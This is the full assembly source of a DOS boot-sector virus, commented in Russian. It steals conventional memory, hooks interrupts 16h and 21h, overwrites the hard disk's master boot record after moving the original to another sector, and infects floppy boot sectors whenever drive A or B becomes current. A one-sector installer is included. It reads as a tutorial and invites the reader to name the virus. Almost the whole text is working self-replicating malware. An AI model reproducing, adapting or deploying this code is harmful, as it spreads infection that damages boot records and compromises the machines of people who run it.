prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h my_prg: jmp installer ;Переход на секцию ;инсталляции dw 7bfeh ;Установка собственного стека push cs pop ds sub word ptr ds:[0413h],2 ;Отрежем у DOS mov ax,ds:[0413h] ;2 Кбайта памяти mov cl,6 ;и вычислим sal ax,cl ;сегментный адрес, ;по которому находится ;полученный блок mov es,ax ;Поместим адрес в ES xor si,si ;И скопируем код вируса mov cx,prg_lenght ;длиной prg_copy: db 8ah ;в память по адресу db 9ch ;ES:0000h additor db 00h db 7ch ;Сам код при загрузке mov byte ptr es:[si],bl inc si ;помещается BIOS loop prg_copy ;по адресу 0000:7c00h push ax ;Запишем в стек mov ax,to_read_boot ;адрес ES:to_read_boot push ax ;и осуществим переход db 0cbh ;на этот адрес to_read_boot equ $-my_prg read_boot: push cs ;DS=CS pop ds xor si,si ;SI=0 mov es,si ;ES=SI ;Получим вектор 16h mov bx,word ptr es:[58h] ;и сохраним его mov word ptr old_16h - 100h,bx mov bx,word ptr es:[5ah] mov word ptr old_16h_2 - 100h,bx ; Установим вектор int 16h на вирусный обработчик mov word ptr es:[58h],to_new_16h mov word ptr es:[5ah],cs ; Считаем настоящий загрузочный сектор mov dx,num_head - 100h mov cx,cyl_sect - 100h mov bx,7c00h ;В память по адресу mov ax,0201h ;0000:7c00h int 13h push cs ;ES=CS pop es mov dl,80h ;Считаем MBR винчестера call read_mbr ;по адресу CS:0400h ; причем загрузка сейчас jc to_quit ;может производиться ;и с дискеты ! cmp byte ptr ds:[400h],0eh ; MBR уже заражена ? je to_quit ;Да - на выход, ;иначе продолжим: mov dx,0080h ;Нулевая головка ;первого сектора жесткого диска mov cx,000ch ;Сектор 12, дорожка 0 ; сохраним эти параметры, кроме того, перепишем call write_mbr_last ; настоящую mbr в сектор 12 нулевой дорожки ; на нулевой стороне HDD 1 jc to_quit xor si,si ; Сформируем код mov additor - 100h,00h ; для записи его на место исходной MBR mov cx,prg_lenght copy_vir_mbr: mov al,byte ptr ds:[si] mov byte ptr ds:[si+400h],al inc si loop copy_vir_mbr mov dx,0080h ;Запишем этот код call write_mbr ;в первый сектор ;нулевой дорожки ;нулевой стороны ;винчестера to_quit:db 0eah ;Отдадим управление dw 7c00h ;настоящей загрузочной dw 0000h ;записи (MBR) ;------------------------------------------- ; Здесь начинается настоящий вирусны обработчик Int 16h. ; Наш вирус использует его, чтобы следить за ; состоянием вирусного обработчика Int 21h ; и при необходимости его перехватывать to_new_16h equ $-my_prg new_16h:push ax ;Сохраним регистры в стеке push bx push dx push ds push es pushf ;Вызовем вирусный mov ax,0babch ; обработчик Int 21h int 21h ;собственной функцией cmp al,98h ;AX=0babch ;Если обработчик активен, je rrr_rrr ;мы должны ; получить AL = 98h, иначе Int 21h следует ; перехватить, чем мы и займемся: push cs ;DS = CS pop ds cli ;Запретить прерывания mov ax,3521h ;Получим и сохраним int 21h ;Вектор Int 21h mov old_21h - 100h,bx mov old_21h_2 - 100h,es mov ax,2521h ;А теперь переставим mov dx,to_new_21h ;этот вектор на вирусный int 21h ;обработчик sti ;Разрешить прерывания rrr_rrr:popf ;Восстановим регистры из стека pop es pop ds pop dx pop bx pop ax db 0eah ;И перейдем на old_16h dw 0 ;системный обработчик old_16h_2 dw 0 ;Int 16h ;--------------------------------------------- ; Здесь начинается вирусны обработчик Int 21h. ; Он отслеживает смену оператором текущего диска. ; Если текущим становиться диск A или B, ; обработчик заражает этот диск. to_new_21h equ $-my_prg new_21h:pushf ;Этот участок обработчика Int 21h cmp ax,0babch ;отвечает jnz else_func ;обработчику Int 16h mov al,98h ;значением AL = 98h, popf ;что служит признаком iret ;активности обработчика Int 21h else_func: popf ;Сохраним регистры в стеке push ax push bx push cx push dx push di push ds push es pushf cmp ah,0eh ;Смена текущего диска ? jnz to_jump ;Нет - на выход cmp dl,1 ;Да - текущим хотят ; сделать дисковод A или B ? ja to_jump ;Нет - на выход push cs pop es push cs ;DS = CS pop ds mov cx,3 ;Попробуем прочесть next_read: push cx ;BOOT-сектор дискеты call read_mbr ;На это даем три pop cx ;попытки (например, jnc inf_check ;если двигатель дисковода ; не успел разогнаться до рабочей скорости, ; то BIOS вернет ошибку - дискета сменена !) xor ah,ah ;При ошибке сбросим int 13h ;текущий дисковод jc to_jump ;и повторим loop next_read ;чтение to_jump:jmp restore_regs ;BOOT заражен ? inf_check: cmp byte ptr ds:[455h],0eh je to_jump ;Да ! cmp word ptr ds:[40bh],200h ;512 байт в секторе ? jne restore_regs ;Нет - на выход mov ch,79h ;Определим mov dh,byte ptr ds:[415h] cmp dh,0f0h ;параметры je real_80 ;дискеты cmp dh,0f9h ;по ее Media je real_80 ;Descryptor cmp dh,0fdh jne to_jump mov ch,39 real_80:mov dh,01h mov cl,byte ptr ds:[418h] ; Перепишем настоящий BOOT в последний ; сектор последней дорожки на последней стороне call write_mbr_last jc cs:to_jump ;Сформируем код mov additor - 100h,055h xor di,di ;Котрый нужно mov cx,prg_lenght ; записать на дискету copy_vir: mov al,byte ptr ds:[di] mov byte ptr ds:[di+455h],al inc di ;вместо исходной loop cs:copy_vir ; BOOT-записи mov word ptr ds:[400h],053ebh xor dh,dh ;И запишем его в первый call write_mbr ;сектор нулевой дорожки ;нулевой стороны дискеты restore_regs: ;Восстановим из стека регистры popf pop es pop ds pop di pop dx pop cx pop bx pop ax db 0eah ;И перейдем на old_21h dw 0 ;системный обработчик old_21h_2 dw 0 ;Int 21h read_mbr proc xor dh,dh ;Процедура читает mov ax,0201h ;первый сектор mov bx,400h ;нулевой дорожки mov cx,01h ;нулевой строны int 13h ;указанного накопителя ret read_mbr endp write_mbr proc mov ax,0301h ;Процедура помещает mov cx,01h ;вирусны код в int 13h ;BOOT-сектор дискеты ret ;или записывает его write_mbr endp ;вместо MBR винчестера write_mbr_last proc ;Процедура переписывает ;исходную BOOT-запись ;или MBR в заданный сектор push dx ;Если заражается cmp dl,01h ;диск в дисководе B, jne cs:not_correct ;следует обнулить xor dl,dl ;номер накопителя not_correct: ;в ячейке mov num_head-100h,dx pop dx ;иначе машина не будет загружаться mov cyl_sect - 100h,cx mov ax,0301h ;с такого диска int 13h ;Остальное, ret ;кажется, ясно write_mbr_last endp vir_name db '?' ;Придумайте сами, но не более 9 байт ! num_head dw 0 ;Здесь вирус хранит cyl_sect dw 0 ;номер головки, дорожки ;и сектора, в которых записана ;настоящая загрузочная запись ;зараженного диска prg_lenght equ $-my_prg ; Здесь начинается секция инсталляции вируса installer: lea si,my_prg ;Подменим команду mov byte ptr [si],00eh mov byte ptr [si+1],017h ;на первые три байта mov byte ptr [si+2],0bch ;кода вируса ; Начало вируса будет иметь вид: ; push CS ; pop SS ; mov SP,7BFEh mov ax,0201h ;Теперь попробуем mov cx,01h ;прочесть BOOT-сектор xor dx,dx ;дискеты lea bx,buffer int 13h jc error push es ;Получим параметры mov ah,08h ;дискеты xor dl,dl int 13h jnc all_good cmp ah,01h jne error mov dh,01h mov ch,27h mov cl,byte ptr buffer[18h] all_good: xor dl,dl mov num_head,dx mov cyl_sect,cx pop es mov ax,0301h ;Перепишем настоящий lea bx,buffer ;BOOT в пооследний ;сектор последней int 13h ;дорожки на jc error ;последней стороне mov additor,055h ;Сформируем код lea si,buffer+55h ;котрый нужно lea di,my_prg ;записать на дискету mov cx,prg_lenght ; вместо исходной copy_boot: ;BOOT-записи mov al,byte ptr [di] mov byte ptr [si],al inc si inc di loop copy_boot mov word ptr buffer[0],053ebh mov ax,0301h ;И запишем его mov cx,01h ;в первый сектор mov dx,0 ;нулевой дорожки lea bx,buffer ;нулевой стороны int 13h ;дискеты jnc prg_end error: mov ah,09h ;Если была ошибка lea dx,err_mes ;выведем int 21h ;сообщение о ней prg_end:mov ax,4c00h ;Завершаем запускающую int 21h ;программу err_mes db 'Error$' ;Сообщение buffer db 512 dup(0) ;В этот буфер считывается ;BOOT-сектор заражаемой дискеты prg ends ;Стандартное окончание end my_prg ;ASM-программы